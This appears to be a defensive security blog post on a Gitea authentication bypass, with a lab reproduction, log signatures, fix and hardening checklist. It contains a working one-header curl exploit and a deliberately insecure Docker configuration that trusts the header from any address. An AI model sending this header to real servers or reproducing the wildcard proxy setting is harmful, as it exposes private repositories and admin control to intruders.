People don't self-host git for fun. You stand up Gitea or Forgejo when the code can't leave the building. Not even into a private GitHub repo, you want your own closed perimeter, your own rules. The whole point of the exercise is privacy. Your own thing, behind a fence, under your control.
Now imagine the fence isn't there. That the "private" repository hands its contents to anyone who asks the right way. That you can log in as admin with no password, using a single HTTP header.
That is exactly what happened to Gitea in 2026. And more than once.
Let me say it up front: I don't run Gitea myself, and this article isn't about Gitea. I work on server security, and what catches my eye here isn't a specific product, it's a problem I keep running into. Dangerous defaults in official Docker images. Someone grabs an image, runs it "like the docs say," and ends up with a hole they never put there themselves. So I took a fresh critical CVE, stood up the vulnerable version on a lab box, and ran the whole attack end to end. To show just how literal this is.
One header to admin: CVE-2026-20896 (CVSS 9.8)
The entire vulnerability fits in one config line.
Gitea can live behind an authenticating reverse proxy. The proxy verifies the user and passes their name in the X-WEBAUTH-USER header, and Gitea trusts that header. As long as the header comes from a trusted proxy, it's all legitimate. The REVERSE_PROXY_TRUSTED_PROXIES setting is what decides who counts as trusted. And in the official Docker image it was set to an asterisk. Meaning "trust this header from any address."
From there the arithmetic is simple. An admin turns on reverse-proxy authentication (people turn it on for SSO), and anyone on the internet sends the header X-WEBAUTH-USER: admin and becomes admin. 9.8 on CVSS. Sysdig caught exploitation attempts in the wild within days of the PoC going public.
The lab
Everything in an isolated container on localhost, secrets are fake. The vulnerable version and that exact default:
docker run -d --name vuln-gitea -p 127.0.0.1:3999:3000 \
-e GITEA__security__REVERSE_PROXY_TRUSTED_PROXIES='*' \
-e GITEA__service__ENABLE_REVERSE_PROXY_AUTHENTICATION=true \
gitea/gitea:1.26.2
I created an admin and a private repository called secret-infra, with a .env inside it. Exactly the kind of thing people keep a private git for:
DB_PASSWORD=SuperSecret_Prod_2026
AWS_SECRET_KEY=AKIA_fake_prod_key_xyz
STRIPE_LIVE=sk_live_fake_demo
The attack
First I look at the service as a random passerby from the internet, with zero access:
GET /admin/secret-infra/raw/branch/main/.env -> 404 Not Found
GET /api/v1/user -> 401 Unauthorized
Closed, as it should be. Now I add one header:
curl -H 'X-WEBAUTH-USER: admin' \
http://target:3000/admin/secret-infra/raw/branch/main/.env
DB_PASSWORD=SuperSecret_Prod_2026
AWS_SECRET_KEY=AKIA_fake_prod_key_xyz
STRIPE_LIVE=sk_live_fake_demo
That's it. Private stopped being private. Let's go to the admin panel:
GET /-/admin no header -> 303, redirect to login
GET /-/admin with header -> 200, admin dashboard
GET /-/admin/users with header -> 200, list of all users
Full control. No password, no token, no account.
One detail so you don't fool yourself
The header works on web routes: the UI, raw files, the admin panel. It does not work on /api/v1, that path wants a token, and the API honestly returned 401 to me. That sounds reassuring, but it's too early to relax. The attacker is already sitting in the web UI as admin, which means through that same settings form they issue themselves a personal API token. And now they have the API too. Just two steps instead of one.
How to catch it in the logs
The attack leaves a distinctive trail. Successful responses on private and admin paths from an address that has no business being there:
router: completed GET /admin/secret-infra/raw/branch/main/.env for 172.30.0.3, 200 OK
router: completed GET /-/admin for 172.30.0.3, 200 OK
Alert rule: 200 OK on /-/admin or on raw files of private repositories from an IP that is not your reverse proxy. If there's a single proxy in front of Gitea, then any hit on the admin panel from an address other than its own is already an incident.
The fix
Trust the header only from the real proxy, not from everyone:
-e GITEA__security__REVERSE_PROXY_TRUSTED_PROXIES='10.0.0.5' # IP/CIDR of your proxy
I recreated the container with this value and repeated the exact same exploit from the exact same source:
GET /-/admin with header -> 401
GET /admin/secret-infra/raw/branch/main/.env with header -> 401
The header from an untrusted address is now simply ignored. Properly, you should update to 1.26.4, where the asterisk was removed from the default. Not to 1.26.3, that one had a regression in the SSRF patch. And if you don't need reverse-proxy authentication at all, turn it off and there's nothing left to discuss.
This is not a one-off bug
The really unpleasant part shows up when you look at Gitea's whole 2026. The disease is the same, broken access control, but different organs get sick.
The built-in container registry, CVE-2026-27771. Private images were served to anonymous users. The word "private" on an image repo turned out to be just a label in the interface. At the level of the OCI protocol, the one Docker and Kubernetes actually use to pull images, authentication wasn't checked at all. The bug lived for about four years, roughly 30,000 instances on the internet were exposed, and Forgejo was affected too. Same story: the system thinks access is restricted, and it isn't.
Then webhooks and migrations, CVE-2026-22874, an SSRF caused by a leaky allow-list filter, from which you could reach internal addresses. Then LFS and CVE-2026-28740: an authorization bypass that gave read access to private repositories and let you reuse objects between repositories without permission.
Registry, LFS, webhooks, reverse proxy. Every fancy feature bolted on top of git dragged in its own access-control hole. That is the price of rich functionality. The more a service can do, the more places it has where "private" suddenly turns out to be public.
If you run Gitea, check today
- Version. 1.26.4 or newer. Don't take 1.26.3, it has a regression in the SSRF fix.
- REVERSE_PROXY_TRUSTED_PROXIES. Not an asterisk, a specific IP or CIDR of your proxy. Don't need proxy auth? Turn it off.
- Built-in registry. Updating is mandatory because of CVE-2026-27771. Quick stopgap against anonymous access: REQUIRE_SIGNIN_VIEW=true in the service section.
- Network. Don't expose Gitea as a bare port to the outside. Put a proxy or WAF in front, network policies, restrictions on admin paths.
- Monitoring. Alert on 200 OK for /-/admin and for raw files of private repos from foreign addresses.
- Exposure. Scan yourself from the outside and see what's actually sticking out. Registry and LFS are often open wider than the owner thinks.
What to take away
One asterisk in a default config, and there's your 9.8 hole. This isn't about Gitea and it isn't about this specific CVE. Official images have trained us to run someone else's defaults without looking, and "works out of the box" and "secure out of the box" are two very different states. Sometimes there is exactly one character between private and public. Here it was an asterisk.
The lab was built in an isolated environment, all secrets are fake. This is material for defending your own systems.
Top comments (0)